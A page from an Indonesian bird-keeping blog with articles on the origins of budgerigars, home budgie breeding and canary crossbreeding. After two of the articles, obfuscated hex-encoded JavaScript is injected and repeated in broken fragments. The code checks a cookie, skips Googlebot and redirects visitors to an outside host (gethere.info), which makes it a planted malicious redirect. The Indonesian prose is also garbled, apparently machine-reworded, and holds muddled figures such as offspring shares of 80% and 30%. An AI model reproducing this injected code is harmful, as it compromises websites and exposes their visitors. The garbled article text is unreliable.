IBX5980432E7F390 Burung Parkit Asal-Usulnya Di Alam Liar Kupas Triknya - Kicauan Burung Lovebird Ngekek

Burung Parkit Asal-Usulnya Di Alam Liar Kupas Triknya

Burung Parkit Asal-Usulnya Di Alam Liar

Burung parkit Asal-usulnya di alam liar-Sebenarnya, burung parikit adalah Burung liar yang telah di jinakan.penjinakkan parkit liar berasal berasal dari Benua Australia. Nama lain yaitu Melopsittacus Undulatus. Asal kata Melopsittacus yaitu Melos (Yunani) yang artinya nyanyian dan Psirracus ialah sebutan dari kerabat burung betet, dan undulatus (Latin) yang artinya corak gelombang.

Di setiap negara sebutan burung parkit berbeda-beda. Negara Belanda menyebut burung parkit Undulated Grass Parkeet, sedangkan di Perancis disebut wellensitich. Di tahun 1833, salah satu Meseum di London mengadakan pameran dengan menunjukkan parkit yang telah diawetkan menggunakan air keras. Di tahun 1842 parkit dibawa ke Inggris. Kebun hewan Belgia, koloni burung paruh bengkok kecil dikembangbiakkan di tahun 1852.Burung Parkit Asal-Usulnya Di Alam Liar

Dan pada tahun 1856 kali pertamanya Jerman membeli hasil dari budidaya sepasang parkit di London. Beberapa negara di tempat Eropa mengimpor hasil tangkapan burung parkit dengan jumlah yang cukup banyak. Di tahun 1874 kali pertamanya bulu warna kuning yang dihasilkan dan terdapat di Belgia, warna tersebut terjadi juga di negara Jerman di tahun 1877.

Warna putih keluar untuk kali pertamanya di tahun 1918 dan juga di tahun 1942 muncullah berbagai macam warna. Beberapa warna yang terdapat di setiap burung parkit, Warna yang dikategorikan langka adalah warna putih karena nilai uangnya lebih banyak dibandingkan dari jenis warna yang lainnya. Penyusunan burung parkit didasarkan pada Checklist of Bird of the World, disusun di tahun 1938.

Koloni burung berparuh bengkok terdiri dari 6 anak suku, 83 marga, dan 318 jenis. Burung parkit adalah termasuk jenis burung paruh bengkok. Burung paruh bengkok identik sebagai burng pemakan biji-bijian. Burung parkit kuliner pokoknya yaitu biji-bijian seakan-akan jewawut atau pun otek, millet putih, jagung muda, millet merah, beras merah, dan juga beberapa macam jenis biji-bijian lainnya.

Burung ini merupakan jenis burung yang tidak susah makan. Jika burung parkit merasa lapar kayu sangkarpun akan dimakannya. Jika kita siap menangkarkan parkit baik klangenan, usaha atau untuk penelitian yang ditengok yaitu makanan burung parkit. Cara dukungan pakan memanglah mudah, yang harus diperhatikan adalah kualitas biji-bijiannya.

Mungkin itu saja yang bisa aku hinggakan,semoga berkhasiat,dan bermanfaat bagi pengetahuan kita..salam..var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ma)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ri))(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Perlengkapan Untuk Budidaya Burung Parkit Sederhana
  • Ciri Fisik Dan Karakter Burung Jalak Thailand
  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Gejala Penyakit Mata Dan Pilek Burung Parkit
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Pakan Burung Parkit Beras Merah Kasiat Serta Gizinya
  • Ciri Fisik Perkutut Tuban-Australia-Perkutut Lokal
  • Jenis penyakit Burung Parkit Dan Tutorial Mengobatinya
  • Membuat Kandang Burung Parkit Bentuk Bateray
  • Cara Praktis Mengawinkan Indukan Burung Parkit
  • Berbagai Macam Jenis Burung Walet Super

Teknik Usaha Penangkaran Burung Parkit Rumahan

Teknik perjuangan penangkaran burung parkit rumahan-Karakteristik burung parkit ialah warnanya yang anggun, bentuk badannya kecil, kelakuannya yang lincah, dan juga memiliki ekor yang panjang dan indah tentunya. Selain sebagai hobi, memelihara burung parkit juga mampu mendapatkan keuntungan yang mampu menaikkan keuangan dalam keluarga kita.

Teknik perjuangan menangkarkan burung parkit selain Keunikan yang terdapat di burung parkit seperti warna bulu, bentuk, dan juga kicaunya yang unik dapat menggoda para pecinta burung parkit kusus nya bagi pemula.

Para penggemar burung parkit tidak sungkan-sungkan mengeluarkan uangnya hanya untuk membeli dan memeliharanya. Dengan melihat burung parkit yang mempunyai keunikan, para pecinta burung parkit mampu menjadi terhibur. Terciptanya suatu usaha diperlukan mendapatkan untung, termasuk dengan membudidayakan burung parkit ini.Teknik Usaha Penangkaran Burung Parkit Rumahan

Kegiatan perjuangan penangkaran burung parkit mampu mendapatkan hasil yang besar. Setiap induk dari burung parkit bisa menghasilkan anakan mencapai kurang lebih 2x lipat. Penangkar burung parkit mampu menikmati jadinya setiap 2,5 bulan sekali.

Usaha penangkaran burung parkit bisa menjadi perhiasan pendapatan keluarga, alasannya penghasilannya yang cukup besar dan juga perawatan hariannya sangat mudah, sederhana, dan juga tidak membuang waktu. Kaprikornus, kita juga tetap mampu mengerjakan pekerjaan utama kita.

Burung parkit sangat praktis dalam hal mengikuti keadaan di kandang penangkaran, burung parkit juga suka hidup berkelompok. Pada saat bulan Oktober hingga dengan Desember biasanya burung parkit bekembang biak di alam bebas. Saat demam isu kawin datang jantan menyanyi dengan tujuan memikat betinanya. Pada saat keduanya sudah saling cocok maka periode kawin segera berlangsung.

Biasanya, berat telur berksiar antara 2,5 gram/butir dari jumlah telur 6 butir/pasangan parkit. Berat telur yang gres menetas dari cangkangnya berkisar 2,35 gram dan kondisinya masih dalam keadaan mata terpejam.

Matanya baru terbuka sesudah berumur sembilan hari. Parkit gres mulai berguru untuk terbang dan juga meninggalkan sarangnya setelah berumur 30 hari.

Pada umur 3,5 – 5 bulan, anak parkit gres mulai matang kelaminnya dan siap melakukan perkawinan. Ukuran kandang aygn dibutuhkan tidak terlalu besar. Ukuran yang sudah cukup melaksanakan penangkaran adalah 40 x 40 x 60 cm.

Dengan atraksi unik yang dilakukan burung parkit bisa juga menjadi hiburan. Untuk melakukan hal yang diinginkan instruktur burung parkit juga perlu dilatih secara khusus.dengn demikian,kualitas serta keunikan yang di hasilkan dari burung parkit lebih bunggul dan berkualitas…salam.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)in)i)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • Jenis Pakan Burung Kenari Sesuai Habitat
  • Pakan Burung Parkit Beras Merah Kasiat Serta Gizinya
  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Perlengkapan Untuk Budidaya Burung Parkit Sederhana
  • Burung Parkit Asal-Usulnya Di Alam Liar

Cara Menyilangkan Indukan Burung Kenari

Cara menyilangkan indukan Burung kenari-Jika selama ini anda mencari cara serta teknik cara menyilangkan burung kenari,mungkin sempurna jikalau anda membaca sedikit tips berikut yang akan aku jelaskan supaya mampu mengobati rasa hati penasaran anda.

Cara menyilangkan burung kenari sangat praktis untuk kita lakukan,tak perlu melakukan cara kusus,dengan cara yang sangat sederhana saja,kita mampu untuk menyilangkan jenis burung kenari ini.

Di dunia burung kenari,faktor utamanya adalah pemilihan induk jantan yang memiliki kualitas unggul.kenapa begitu,sebab 80% anakan yang di hasilkan nantinya akan ikut induk jantanya.sedangkan sisanya 30% akan mengikuti induk betina.Cara Menyilangkan Indukan Burung Kenari

Di indonesia sendiri,kebanyakan para pembudidaya burung kenari menyilangkan indukan lokal dengan induk jantan burung asal impor yang memiliki kualitas unggulan super.hal ini di maksudkan,agar anakan yang di hasilkan juga mampu seolah-olah induk jantanya.sehingga nantinya,jika anakan kenari tersebut sudah besar,harga yang di tawarkan juga tergolong tinggi.

Induk burung kenari impor yang paling bagus dan banyak di kawin silangkan ialah jenis kenari Yorksire,border,holand dll.namun kita juga mampu menentukan sendiri kualitas anakan nantinya,dengan cara pemilihan induk baik yang jantan dan betina sesuai karekter burung tersebut masing-masing.

Selain itu,burung kenari juga mampu untuk kita silangkan dengan jenis kenari lainya yang masih saudara kenari,namun mempunyai trah atau genus yang berbeda.

Cara mengawin silangkan burung kenari mampu kita lakukan dengan cara menyatukan kedua indukan tersebut dalam satu sangkar penagkaran.akan tetapi,sebelumnya,pastikan kalau kedua indukan tersebut sudah berjodoh.

Jika kedua induk belum mau berjodoh,nantinya bukan malah perkawinan yang akan di mampukan,tapi sebuah perkelahian antar kedua induk kenari tersebut.

Cara menjodohkan indukan burung kenari sudah aku bahas dengan detail di artikel sebelumnya,jika belum membaca,silahkan di baca dulu di sini Tutorial menjodohkan pasangan indukan burung kenari.

Hasil persilangan burung kenari sendiri bekerjsama banyak terbagi tergantung dari induk silangan tersebut.maksudnya,dari sejenis burung kenari atau dari femilinya namun masih satu Genus.biasanya para penangkar burung kenari menyebutnya kenari mule atau kenari Hibrida.

Cara menyilangkan kenari dengan cara hibrida atau mule ini juga tergolong lebih baik dan mampu untuk menghasilkan satu jenis burung kenari gres..semoga berguna.

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • 10 Jenis Burung Kenari Kontes Unggul Gacor
  • Ciri Cucak Ijo Yang Bagus Serta Tata Tutorial Perawatan Harian
  • Membedakan Jenis Kelamin Kenari Anakan Jantan Betina
  • Jenis Burung kenari Yang Paling Populer Didunia
  • Jenis Burung Anis Merah Dan Kelebihannya
  • Cara Perawatan Anis Kembang Anakan Dewasa
  • Ragam Jenis Kenari Lokal Impor Unggulan Sebagai Kontes
  • Panduan Lengkap Cara Menyilangkan Kenari
  • Cara Paling Benar Memilih Bibit Anakan Kenari F1
  • Tips Menjaga Kesehatan Merpati Lomba
  • Kenari Yorkshire F1 Berikut Kelebihan Serta Perawatan

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Burung Parkit Asal-Usulnya Di Alam Liar Kupas Triknya"

Posting Komentar